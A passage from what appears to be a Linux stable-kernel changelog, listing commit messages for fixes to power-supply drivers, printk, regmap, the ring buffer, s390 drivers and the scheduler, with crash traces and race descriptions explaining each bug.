    Keep the reader helper's result and undo the registration only if this
    call added it. The pipe mutex serializes changes to both lists, so a
    failed new registration still removes its reader, while a failed
    duplicate preserves the existing registrations and FASYNC. Successful
    duplicate enables continue to update fa_fd as before.
    
    Fixes: 76398425bb06 ("Move FASYNC bit handling to f_op->fasync()")
    Signed-off-by: Kyle Zeng <kylebot@openai.com>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
power: sequencing: qcom-wcn: power off WLAN at probe [+ + +]
Author: François Roux <franzelfranzel@gmail.com>
Date:   Sun Oct 4 18:51:24 2026 +0200

    power: sequencing: qcom-wcn: power off WLAN at probe
    
    commit dbd674ccf30f66f5eccf637964a93910df8dbf84 upstream.
    
    The WLAN enable GPIO is requested with GPIOD_ASIS and then kept at its
    current level, so that a WLAN module left powered on by the firmware is
    not switched off. The FIXME explains why: toggling it would take the
    PCIe link down, and the controller driver could not recover from that.
    
    That reasoning held while the PCIe link was trained before the
    sequencer probed. Since commit b921aa3f8dec ("PCI/pwrctrl: Switch to
    pwrctrl create, power on/off, destroy APIs"), qcom_pcie_host_init()
    powers the endpoint through pwrctrl before it starts link training, and
    defers until the pwrctrl driver is bound. That driver cannot bind
    before this sequencer has probed. Power-on therefore always comes
    before link training, and keeping the firmware state is now harmful.
    
    On the Microsoft Surface Pro 11 (X1E80100), the WCN7850 sits on a
    PCIe port without a PERST# GPIO. While pci-pwrctrl-pwrseq is not yet
    bound, the host init is deferred about ten times, and each attempt
    powers the PHY and controller back down. The later power-on only sets
    a GPIO that is already high, so the chip is never reset and the link
    never comes up:
    
      qcom-pcie 1c08000.pcie: Device found, but not active
    
    The endpoint is not enumerated and ath12k never probes. Bluetooth on
    the same chip fails too ("QCA Failed to send TLV segment (-110)").
    
    Request the GPIO as GPIOD_OUT_LOW. The chip is then off when the
    sequencer probes, and pwrctrl powers it up cleanly right before link
    training. Drop the FIXME and the code that preserved the firmware
    state.
    
    Tested on a Surface Pro 11:
     - b921aa3f8dec plus a one-line version of this change: endpoint
       enumerated at 2.4 s, ath12k and Bluetooth working.
     - next-20260929 plus this patch: "PCIe Gen.3 x2 link up" at 3.4 s,
       ath12k and Bluetooth working, Wi-Fi connected.
    Without the change, neither kernel enumerates the endpoint.
    
    The culprit was found by bisecting v6.17..v7.1, with the DTB and
    .config held constant.
    
    Fixes: b921aa3f8dec ("PCI/pwrctrl: Switch to pwrctrl create, power on/off, destroy APIs")
    Closes: https://lore.kernel.org/all/CAPjyS8dY0Q_o3XmFjuKZZsjhzhoSNL+ZGJtw5cQt8HiV3sUtxA@mail.gmail.com/
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Signed-off-by: François Roux <franzelfranzel@gmail.com>
    Tested-by: Dale Whinham <daleyo@gmail.com>
    Link: https://patch.msgid.link/20261004165124.4277-1-franzelfranzel@gmail.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

power: supply: core: prevent unregistering a power supply while a callback runs [+ + +]
Author: Alexey Charkov <alchark@flipper.net>
Date:   Thu Sep 10 18:32:58 2026 +0400

    power: supply: core: prevent unregistering a power supply while a callback runs
    
    [ Upstream commit 5b4bd13e0552926648a46c2c9a12a24dfaee3715 ]
    
    Once a power supply is registered, its callbacks can immediately start
    firing from other contexts, such as external_power_changed() triggered by
    the TCPM stack. If a power supply is unregistered while the callback is
    still running, the driver data can already be freed when the callback
    tries to access it, leading to a use-after-free.
    
    This happens e.g. when the hardware bus carrying the power supply device
    malfunctions (e.g. I2C is hogged down by another malfunctioning device)
    immediately after the power supply is registered, and thus the core is
    still processing the callbacks which were queued up when the driver
    starts the removal, leading in some cases to a kernel crash, e.g.:
    
    [   11.645942] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000005
    [   11.646751] Mem abort info:
    [   11.647006]   ESR = 0x0000000096000004
    [   11.647338]   EC = 0x25: DABT (current EL), IL = 32 bits
    [   11.647806]   SET = 0, FnV = 0
    [   11.648077]   EA = 0, S1PTW = 0
    [   11.648356]   FSC = 0x04: level 0 translation fault
    [   11.648785] Data abort info:
    [   11.649041]   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000
    [   11.649524]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0
    [   11.649981]   GCS = 0, Overlay = 0, DirtyBit = 0
    [   11.650390] [0000000000000005] user address but active_mm is swapper
    [   11.650955] Internal error: Oops: 0000000096000004 [#1]  SMP
    [   11.651460] Modules linked in:
    [   11.651742] CPU: 1 UID: 0 PID: 144 Comm: kworker/1:2 Not tainted 7.2.0-rc6-g62a9297af2cd #1 PREEMPT
    [   11.652553] Hardware name: Flipper One rev. F0B1C2 (DT)
    [   11.653024] Workqueue: events power_supply_changed_work
    [   11.653511] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
    [   11.654135] pc : __power_supply_is_supplied_by+0x18/0x100
    [   11.654624] lr : __power_supply_am_i_supplied+0x40/0xb8
    [   11.655098] sp : ffff80008192bb30
    [   11.655399] x29: ffff80008192bb30 x28: 0000000000000000 x27: 0000000000000000
    [   11.656049] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000
    [   11.656695] x23: ffff0000c19f4200 x22: ffffdb2232ba4ea8 x21: ffff80008192bc28
    [   11.657344] x20: ffff0000c1eef000 x19: ffff80008192bc18 x18: 00000000a0886e62
    [   11.657991] x17: 000000040044ffff x16: 04500072b5503510 x15: 0000000000000000
    [   11.658639] x14: 0000000000000000 x13: 0000000000000220 x12: 0000000000000000
    [   11.659286] x11: 0000000000000000 x10: ffff0000c1fdb2b0 x9 : ffffdb2232ba5590
    [   11.659934] x8 : 00000000e5b906e6 x7 : ffff0000c2502778 x6 : ffffdb22339793d0
    [   11.660581] x5 : ffff80008192bc18 x4 : ffff0000c19cbca0 x3 : 0000000000000000
    [   11.661228] x2 : ffff0000c1fdaf40 x1 : ffffffffffffffed x0 : ffff0000c1eef000
    [   11.661878] Call trace:
    [   11.662103]  __power_supply_is_supplied_by+0x18/0x100 (P)
    [   11.662596]  __power_supply_am_i_supplied+0x40/0xb8
    [   11.663040]  psy_for_each_psy_cb+0x20/0x40
    [   11.663416]  class_for_each_device+0x110/0x150
    [   11.663825]  power_supply_am_i_supplied+0x68/0x100
    [   11.664262]  bq257xx_external_power_changed+0x58/0x140
    [   11.664733]  __power_supply_changed_work+0x60/0x80
    [   11.665170]  psy_for_each_psy_cb+0x20/0x40
    [   11.665545]  class_for_each_device+0x110/0x150
    [   11.665953]  power_supply_changed_work+0x98/0x1b8
    [   11.666382]  process_one_work+0x164/0x4c0
    [   11.666758]  worker_thread+0x19c/0x320
    [   11.667104]  kthread+0x138/0x150
    [   11.667408]  ret_from_fork+0x10/0x20
    [   11.667744] Code: d503233f a9bd7bfd 910003fd a90153f3 (f9400c34)
    [   11.668294] ---[ end trace 0000000000000000 ]---
    
    Add a read-write semaphore between external_power_changed() and
    power_supply_unregister() to prevent the latter from returning (and thus
    the driver from freeing its data) while the callback is still running.
    
    Fixes: bc1540561c9e ("power_supply: Add API for safe access of power supply function attrs")
    Signed-off-by: Alexey Charkov <alchark@flipper.net>
    Link: https://patch.msgid.link/20260910-bq257xx-init-v3-1-4e219a1a04a5@flipper.net
    Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

power: supply: ds2780: Fix ds2780_get_capacity() returning raw value [+ + +]
Author: Xueqin Luo <luoxueqin@kylinos.cn>
Date:   Tue Sep 1 15:29:54 2026 +0800

    power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
    
    [ Upstream commit a58cbc8b36ec0cd00d2ba3de7d003de818a27523 ]
    
    ds2780_get_capacity() returns the raw register value instead of 0 on
    success.  The capacity is already stored in *capacity, so the function
    should return 0 to indicate success.
    
    Fixes: 275ac74629c4 ("w1: add Maxim/Dallas DS2780 Stand-Alone Fuel Gauge IC support")
    Signed-off-by: Xueqin Luo <luoxueqin@kylinos.cn>
    Link: https://patch.msgid.link/20260901072954.1953121-1-luoxueqin@kylinos.cn
    Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

power: supply: Fix maintenance charge table kernel-doc [+ + +]
Author: Karl Mehltretter <kmehltretter@gmail.com>
Date:   Wed Sep 9 08:46:23 2026 +0200

    power: supply: Fix maintenance charge table kernel-doc
    
    [ Upstream commit 45d4af4e80a25881b6b75e8e34872c555c43a41d ]
    
    struct power_supply_maintenance_charge_table contains
    charge_safety_timer_minutes, but its kernel-doc describes
    safety_timer_minutes. This leaves the real member undescribed and adds a
    nonexistent member to the generated documentation.
    
    Use the member's actual name.
    
    Fixes: d72ce7d32478 ("power: supply: ab8500: Standardize maintenance charging")
    Assisted-by: LLM
    Signed-off-by: Karl Mehltretter <kmehltretter@gmail.com>
    Link: https://patch.msgid.link/20260909064623.90737-1-kmehltretter@gmail.com
    Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

power: supply: generic-adc-battery: Fix temperature IIO channel conversion [+ + +]
Author: Svyatoslav Ryhel <clamor95@gmail.com>
Date:   Sat Sep 26 17:29:05 2026 +0300

    power: supply: generic-adc-battery: Fix temperature IIO channel conversion
    
    [ Upstream commit 6bca94e64255053ab2aa56f2588fda73d399b790 ]
    
    Temperature IIO channel data is provided in milli-degrees, while
    POWER_SUPPLY_PROP_TEMP is expected to be in deci-degrees. Adjust the
    existing logic to reflect this conversion properly.
    
    Fixes: 33088c0513818 ("power: supply: generic-adc-battery: add temperature support")
    Signed-off-by: Svyatoslav Ryhel <clamor95@gmail.com>
    Link: https://patch.msgid.link/20260926142905.206215-2-clamor95@gmail.com
    Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
printk: Postpone kthread startup [+ + +]
Author: John Ogness <john.ogness@linutronix.de>
Date:   Fri Oct 16 11:00:34 2026 +0206

    printk: Postpone kthread startup
    
    [ Upstream commit 5f339c46f153184570f16c8e789c9709b14cbe8b ]
    
    There have been various bug reports related to SMP systems hanging
    on boot. The reports vary but seem to have some overlap with regard
    to missed IPI's during SMP setup. The reports also show that
    reverting NBCON console usage allows the bugs to disappear.
    
    The NBCON kthreads for console printing are started very early
    during boot using early_initcall(). Since these kthreads are
    asynchronously enabling/disabling interrupts during early boot, they
    may be interfering with early SMP setup on some hardware platforms.
    
    Starting the console printing kthreads later has shown to avoid the
    hanging on systems that could previously reproduce the issue.
    
    Postpone kthread starting until after all arch initcalls have
    completed.
    
    Reported-by: Derek Barbosa <debarbos@redhat.com>
    Closes: https://lore.kernel.org/linux-rt-users/arPmYPbFLf2EldIl@debarbos-thinkpadt14gen5.rmtusma.csb
    Fixes: 76f258bf3f2a ("printk: nbcon: Introduce printer kthreads")
    Signed-off-by: John Ogness <john.ogness@linutronix.de>
    Tested-by: Derek Barbosa <debarbos@redhat.com>
    Link: https://patch.msgid.link/20261016085441.857695-1-john.ogness@linutronix.de
    Signed-off-by: Petr Mladek <pmladek@suse.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
regmap: Drop map lock during cache init and exit [+ + +]
Author: Michael Reeves <michael.reeves077@gmail.com>
Date:   Tue Oct 6 18:03:16 2026 +1100

    regmap: Drop map lock during cache init and exit
    
    [ Upstream commit abff0a48b110fe52d43999b4cb7c793a510a6bf1 ]
    
    On systems with CONFIG_PROVE_RAW_LOCK_NESTING enabled, Apple GPIO probe
    triggers an "Invalid wait context" lockdep warning.
    
    The driver uses a regmap with a raw spinlock and REGCACHE_FLAT. During
    regcache_init(), regcache_flat_init() allocates memory while holding the
    raw spinlock. The memory allocator can acquire a non-raw spinlock, which
    causes an invalid raw-to-non-raw lock nesting error. The abbreviated call
    chain is:
    
      apple_gpio_pinctrl_probe
        regcache_init
          regcache_flat_init
            __kmalloc_noprof
              __pcs_replace_empty_main
                refill_objects
                  _raw_spin_lock_irqsave
    
    Cache allocation occurs before the regmap is published, cache destruction
    occurs after users have stopped accessing it, and regmap_reinit_cache()
    requires callers to prevent concurrent access. Remove the outer map lock
    from cache initialization and destruction. Keep it for cache population
    and normal register access.
    
    The Maple cache still uses its internal spinlock during teardown. That
    lock can also be acquired from hard IRQ context during register access.
    Add Maple-state irqsave helpers and use them during teardown to preserve
    the lock's IRQ-safe lockdep state.
    
    Fixes: fd4ebc07b4df ("regmap: Hold the regmap lock when allocating and freeing the cache")
    Suggested-by: Mark Brown <broonie@kernel.org>
    Suggested-by: Liam R. Howlett <liam@infradead.org>
    Signed-off-by: Michael Reeves <michael.reeves077@gmail.com>
    Reviewed-by: Peng Fan <peng.fan@nxp.com>
    Link: https://patch.msgid.link/20261006-regcache-lifecycle-submit-v3-2-37bdd82fd47c@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
ring-buffer: Do not show buffer_meta for CPUs without a buffer [+ + +]
Author: David Carlier <devnexen@gmail.com>
Date:   Mon Sep 14 14:35:05 2026 +0100

    ring-buffer: Do not show buffer_meta for CPUs without a buffer
    
    commit 3f23cae09a4677a3f7c163a68388512cb231ff22 upstream.
    
    The per_cpu/cpuN/buffer_meta files are created for every possible CPU,
    but buffer->buffers[cpu] is only allocated once that CPU comes online.
    Reading the file of a CPU that never came online dereferences a NULL
    cpu_buffer in rbm_start().
    
    Fail the open with -ENODEV when the CPU has no buffer, as the other
    per CPU ring buffer interfaces do.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260914133506.4865-3-devnexen@gmail.com
    Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
    Reported-by: Sashiko <sashiko-bot@kernel.org>
    Closes: https://lore.kernel.org/all/20260913134906.6E8A01F000FF@smtp.kernel.org/
    Signed-off-by: David Carlier <devnexen@gmail.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ring-buffer: Fix false warning in ring_buffer_map_get_reader() [+ + +]
Author: Krystian Kaniewski <krystianmkaniewski@gmail.com>
Date:   Thu Sep 24 10:49:42 2026 +0200

    ring-buffer: Fix false warning in ring_buffer_map_get_reader()
    
    commit 89bab1dba8a0167ef0d819e0f55b6bafa038e87f upstream.
    
    The mmap reader can warn when it catches up with a writer that is still
    committing events. rb_get_reader_page() returns NULL in this case, but
    ring_buffer_map_get_reader() treats that result as an error.
    
    The initial rb_per_cpu_empty() check filters out an empty buffer, but it
    does not guarantee that the next reader page has committed data. Writers
    do not take reader_lock and can advance commit_page before publishing the
    committed length on the new page. rb_get_reader_page() can swap to that
    page, catch up with the writer and return NULL.
    
    Handle NULL through the existing no-data exit without warning. Remove the
    caller's reader_page == commit_page check as well, since the reader-page
    helper already handles that case. The existing metadata update and return
    path remain in place.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260924084946.20104-1-krystianmkaniewski@gmail.com
    Fixes: 117c39200d9d ("ring-buffer: Introducing ring-buffer mapping functions")
    Assisted-by: Gemini:gemini-3.8-flash syzbot
    Reported-by: syzbot+de3d7f9bcc9212f3fae1@syzkaller.appspotmail.com
    Closes: https://syzkaller.appspot.com/bug?extid=de3d7f9bcc9212f3fae1
    Link: https://syzkaller.appspot.com/ai_job?id=488adc18-a10e-42d2-a205-25327c38837f
    Signed-off-by: Krystian Kaniewski <krystianmkaniewski@gmail.com>
    Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() [+ + +]
Author: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Date:   Fri Sep 18 16:15:07 2026 +0900

    ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
    
    commit 25132363c723afc39aace8b098f547ab4a0ea759 upstream.
    
    On a persistent ring buffer, rb_meta_subbuf_idx() can return an index one
    sub-buffer too high.  rb_setup_ids_meta_page() then fills subbuf_ids[]
    shifted by one and leaves subbuf_ids[0] NULL, which __rb_map_vma()
    dereferences when userspace maps trace_pipe_raw.  rb_update_meta_reader()
    writes two such indices into meta->buffers[], which rb_cpu_meta_valid()
    would reject on the next boot, discarding the previous boot's trace.
    
    A CPU's sub-buffer array starts after its meta header and the nr_subbufs
    integers that follow, aligned up to a sub-buffer.  rb_meta_subbuf_idx()
    inverts that calculation but skips only the integers, not the header, so
    its base is one sub-buffer low whenever the omitted header size crosses
    the alignment boundary.
    
    Invert the calculation with rb_subbufs_from_meta() rather than repeating
    it.  rb_range_buffer() maps an index back to an address through the same
    helper, so the two directions can no longer disagree.
    
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20260918071507.1019251-1-donggeunyoo.kernel@gmail.com
    Fixes: b14d032973d4 ("ring-buffer: Add ring_buffer_meta data")
    Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
    Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
    Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ring-buffer: Skip si_mem_available() for persistent and remote buffers [+ + +]
Author: Vincent Donnefort <vdonnefort@google.com>
Date:   Tue Oct 13 11:20:46 2026 +0100

    ring-buffer: Skip si_mem_available() for persistent and remote buffers
    
    [ Upstream commit c9fc60c18b6d42efdea0cd88ca132b2f452157c3 ]
    
    Persistent and remote buffer memory is pre-allocated by the time
    __rb_allocate_pages() is called. Skip si_mem_available() to avoid
    wrongly failing the allocation under memory pressure.
    
    For the same reason, unset user_thread.
    
    Link: https://patch.msgid.link/20261013102047.1488347-2-vdonnefort@google.com
    Fixes: be68d63a139b ("ring-buffer: Add ring_buffer_alloc_range()")
    Fixes: 2e67fabd8b77 ("ring-buffer: Introduce ring-buffer remotes")
    Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ring-buffer: Use subbuf_order in available memory estimation [+ + +]
Author: Vincent Donnefort <vdonnefort@google.com>
Date:   Tue Oct 13 11:20:47 2026 +0100

    ring-buffer: Use subbuf_order in available memory estimation
    
    [ Upstream commit 13d530f2daeda9493f4d07ddc5ca13e21318fbeb ]
    
    To avoid failing in the middle of an allocation of a ring-buffer,
    __rb_allocate_pages() looks at the available memory estimation with
    si_mem_available(). Use the subbuffer order with this estimation to fail
    early if necessary for ring-buffers with an order > 0.
    
    Link: https://patch.msgid.link/20261013102047.1488347-3-vdonnefort@google.com
    Fixes: f9b94daa542a ("ring-buffer: Set new size of the ring buffer sub page")
    Reviewed-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts [+ + +]
Author: Conor Dooley <conor.dooley@microchip.com>
Date:   Fri Sep 4 18:22:55 2026 +0100

    riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
    
    commit 0f70fd6f4c1d6c1f2ea298d8dd07c4a4d5dff9af upstream.
    
    When the irq-mux and its interrupt-map were added to the mpfs
    devicetree, the gpio interrupts became fixed at the SoC level rather
    than dependant on the design - the interrupt-map is now what varies.
    The beaglev-fire should have had its dts copy of the interrupts removed
    but did not. As a result, the mcp3564 driver does not probe, because
    even though it doesn't use the interrupt at present, the SPI core still
    looks it up. This lookup fails because the second copy of the interrupts
    property doesn't resolve to something valid when passed via the
    interrupt-map. Remove the second/incorrect set of interrupts properties.
    
    Fixes: b0258f69f1e0 ("riscv: dts: microchip: update mpfs gpio interrupts to better match the SoC")
    CC: stable@vger.kernel.org
    Signed-off-by: Conor Dooley <conor.dooley@microchip.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
s390/ctcm: Prevent XID null dereference [+ + +]
Author: Aswin Karuvally <aswin@linux.ibm.com>
Date:   Thu Aug 27 08:34:08 2026 +0200

    s390/ctcm: Prevent XID null dereference
    
    commit b264d8422779d69febce914efc47a92a85cc382c upstream.
    
    The mpc_validate_xid() function sets grp->saved_xid2->xid2_flag2 to 0x40
    to signal XID validation error. If peer XID is NULL or r/w channel
    pairing mismatch happens, grp->saved_xid2 is never initialized. An
    attempt to set the flag in such case leads to NULL dereference.
    
    Fix this by using the always available priv->xid->xid2_flag2 instead of
    grp->saved_xid2->xid2_flag2 for validation errors.
    
    Fixes: 293d984f0e36 ("ctcm: infrastructure for replaced ctc driver")
    Cc: stable@vger.kernel.org
    Signed-off-by: Aswin Karuvally <aswin@linux.ibm.com>
    Link: https://patch.msgid.link/20260827063408.2168914-1-aswin@linux.ibm.com
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
s390/pai: Handle multiple PMU stop callback invocations [+ + +]
Author: Thomas Richter <tmricht@linux.ibm.com>
Date:   Wed Aug 19 07:58:55 2026 +0200

    s390/pai: Handle multiple PMU stop callback invocations
    
    commit f3110e969ad226ffbb2d9b4bf5387e68d0d9ef40 upstream.
    
    Handle the following scenario:
    The kernel protects itself against a very high sampling load and
    throttles the sampling using:
    
      perf_event_throttle() --> PMU->stop()
    
    Shortly later the scheduler may terminate the task and removes it from the
    CPU. It again calls
    
      PMU->stop()
    
    which results in two invocations of PMU->stop() called back to back.
    Protect against this and check the PERF_HES_STOPPED bit on function
    entry.  If it is already set return.
    Clear bit PERF_HES_STOPPED in PMU->start().
    
    Prohibit ioctl(fd, PERF_EVENT_IOC_PERIOD, ...) call for this event.
    It sets perf_event::event_limit to a positive value and causes
    perf_event_overflow() to invoke pai_stop() call back function when
    perf_event::event_limit hits zero. This is not supported because the
    sample events CRYPTO_ALL and NNPA_ALL are only taken at schedule out
    of a task.
    
    Use list_for_each_entry_safe() for safe iteration over syswide_list
    in pai_have_samples().
    
    Fixes: 9f66572f2889 ("s390/pai_crypto: Enable per-task and system-wide sampling event")
    Fixes: 582cc1b28e8c ("s390/pai_ext: Enable per-task and system-wide sampling event")
    Cc: stable@vger.kernel.org # v6.19+
    Signed-off-by: Thomas Richter <tmricht@linux.ibm.com>
    Reviewed-by: Sumanth Korikkar <sumanthk@linux.ibm.com>
    Signed-off-by: Vasily Gorbik <gor@linux.ibm.com>
    Signed-off-by: Heiko Carstens <hca@linux.ibm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
s390/pci: Fix leak of uninitialized kernel data in SCLP report [+ + +]
Author: Niklas Schnelle <schnelle@linux.ibm.com>
Date:   Thu Aug 6 11:43:39 2026 +0200

    s390/pci: Fix leak of uninitialized kernel data in SCLP report
    
    commit 8ac60ae2a307a50b599bf5d300b448d638f3ba29 upstream.
    
    While report_error_write() checks that the provided buffer is at least
    as large as the header struct, but not that it is large enough to
    contain the report with the length claimed by report->length. If
    user-space provides a short buffer, meaning a larger report->length than
    the actually written payload, up to around 4K of kernel data from past
    the kmalloc(len + 1) sized buffer allocated in kernfs_fop_write_iter()
    will leak into the SCLP report.
    
    However, as the entity processing the SCLP is privileged and able to
    access at least the page including the report, this does not leak data
    that entity could not access but it is still an out of bounds read and
    a malformed error report that should be rejected.
    
    Fixes: 368704a65be8 ("s390/pci: add report_error attribute")
    Cc: stable@vger.kernel.org
    Signed-off-by: Niklas Schnelle <schnelle@linux.ibm.com>
    Reviewed-by: Benjamin Block <bblock@linux.ibm.com>
    Signed-off-by: Vasily Gorbik <gor@linux.ibm.com>
    Signed-off-by: Heiko Carstens <hca@linux.ibm.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
samples: pidfd: fix userprogs typo [+ + +]
Author: Sasha Levin <sashal@kernel.org>
Date:   Sun Oct 11 18:33:42 2026 -0400

    samples: pidfd: fix userprogs typo
    
    [ Upstream commit f1365f97fb7498d805981102eee22d362ae643f2 ]
    
    The Makefile adds pidfd-metadata to "usertprogs-always-y", which kbuild
    does not know, so the sample has not been built since the conversion to
    userprogs, even with CONFIG_SAMPLE_PIDFD=y.
    
    Fix the variable name. pidfd-metadata.c builds without warnings with
    gcc and clang for x86_64 and arm64.
    
    Fixes: 60fb0b1239719 ("samples: pidfd: build sample program for target architecture")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Link: https://patch.msgid.link/20261011223358.2327625-14-sashal@kernel.org
    Reviewed-by: Christian Brauner <brauner@kernel.org>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
sched/core: Call wakeup_preempt() for queued tasks during class change [+ + +]
Author: K Prateek Nayak <kprateek.nayak@amd.com>
Date:   Tue Oct 13 15:24:55 2026 +0000

    sched/core: Call wakeup_preempt() for queued tasks during class change
    
    [ Upstream commit 118a2cf4ced60777a2408001e2b4838fed1cea55 ]
    
    Paul reported recent RCU changes exposed a lost resched where CPU idles
    with a rcutorture thread waiting while being completely runnable.
    
    Dumping the rq state at the time of idling with runnable tasks showed
    the following:
    
      rq->next_class = &fair_sched_class
      rq->nr_running = 1
      rq->cfs.h_nr_queued = 0
      rq->rt.rt_nr_running = 1
    
    Although the waiting task was an RT task, "rq->next_class" did not point
    to rt_sched_class and was stuck at the lower priority fair_sched_class.
    
    Inspecting sched_change_end() revealed the following race with
    __sched_setscheduler() for queued, but non-running tasks:
    
        CPU0                                   CPU1
        ====                                   ====
    
      __schedule()
    
        /*
         * rq->donor is a fair task that blocks.
         * rq->next_class = &fair_sched_class
         */
    
        rq_lock(rq0)
    
        pick_next_task()
          /* nr_running = 0 */
          pick_task_fair()
            sched_balance_newidle()
              raw_spin_rq_unlock(rq0)
                                        rq_lock(rq0)
    
                                        activate_task(rq0, p)
                                          /* p is a fair task */
                                          rq0->nr_running++;
                                          rq0->cfs.h_nr_queued++;
                                          wakeup_preempt(rq, p)
                                            rq->next_class = &fair_sched_class
                                            resched_curr()
    
                                        rq_unlock(rq0)
    
                                        __sched_setscheduler(p)
                                          /* p is moved to SCHED_RR */
                                          task_rq_lock(p)
                                          sched_change_begin()
    
                                          rq0->cfs.h_nr_queued--;
                                          rq0->rt.rt_nr_running++;
    
                                          sched_change_end()
                                            /*
                                             * p->on_rq = 1 (ctx->queued)
                                             * but p is not rq->donor
                                             * (!ctx->running) hence
                                             * resched_curr() is and
                                             * rq->next_class upgrade is
                                             * skipped.
                                             */
    
                                           task_rq_unlock()
    
              raw_spin_rq_lock(rq0)
    
              /*
               * rq->nr_running = 1
               * rq->cfs.h_nr_queued = 0
               * rq->rt.rt_nr_running = 1
               * rq->next_class = &fair_sched_class
               */
    
               if (rq->cfs.h_nr_queued && ...)
                 /* Above is false */
    
               if (rq_modified_above(this_rq, &fair_sched_class))
                 /* Also false since rq->next_class is still fair */
    
          /*
           * sched_balance_newidle() is considered to
           * have failed to pull any fair tasks and no
           * other wakeups were detected.
           */
           return NULL; /* pick_task_fair() */
    
        pick_task_idle()
          return rq->idle;
    
        next = rq->idle;
    
        /* Preemption indicators are lost */
        clear_tsk_need_resched(prev);
        clear_preempt_need_resched();
    
        rq->curr = rq->idle;
    
      !!! rq->idle switches in with rq->running == 1 but !need_resched() !!!
    
    In simple words, enqueue, followed by a class change of the newly queued
    task goes unnoticed in rq->next_class indicator and
    sched_balance_newidle() sees no fair task, nor any higher priority task
    enqueued.
    
    The above sequence will lead to CPU idling with a runnable task on the
    CPU.
    
    Call wakeup_preempt() for ctx->queued cases in sched_change_end() to
    re-evaluate rq->next_class after class change (ENQUEUE_CLASS) and set
    the NEED_RESCHED indicator accordingly.
    
    Newidle balance will correctly see an enqueue of a higher priority
    task if a queued task was upgraded when the rq_lock() was dropped and
    will retry the pick.
    
    Closes: https://lore.kernel.org/lkml/8fa7f795-518c-4507-b684-60b0c1cac2c5@paulmck-laptop/
    Fixes: 704069649b5b ("sched/core: Rework sched_class::wakeup_preempt() and rq_modified_*()")
    Reported-by: Paul E. McKenney <paulmck@kernel.org>
    Tested-by: Paul E. McKenney <paulmck@kernel.org>
    Signed-off-by: K Prateek Nayak <kprateek.nayak@amd.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Reviewed-by: Vincent Guittot <vincent.guittot@linaro.org>
    Reviewed-by: Phil Auld <pauld@redhat.com>
    Link: https://patch.msgid.link/20261013152455.9039-1-kprateek.nayak@amd.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ [+ + +]
Author: Tejun Heo <tj@kernel.org>
Date:   Thu Oct 22 07:44:23 2026 -0400

    sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ
    
    [ Upstream commit 7a9df76679633cf26e0fea882a684012c6ec245a ]
    
    With SCX_OPS_ENQ_LAST, the last runnable task on a CPU is passed to
    ops.enqueue() instead of being kept running. Exiting tasks without
    SCX_OPS_ENQ_EXITING, migration disabled tasks without
    SCX_OPS_ENQ_MIGRATION_DISABLED and tasks on an offline rq skip ops.enqueue()
    and go straight to the local DSQ. This happens in put_prev_task_scx() after
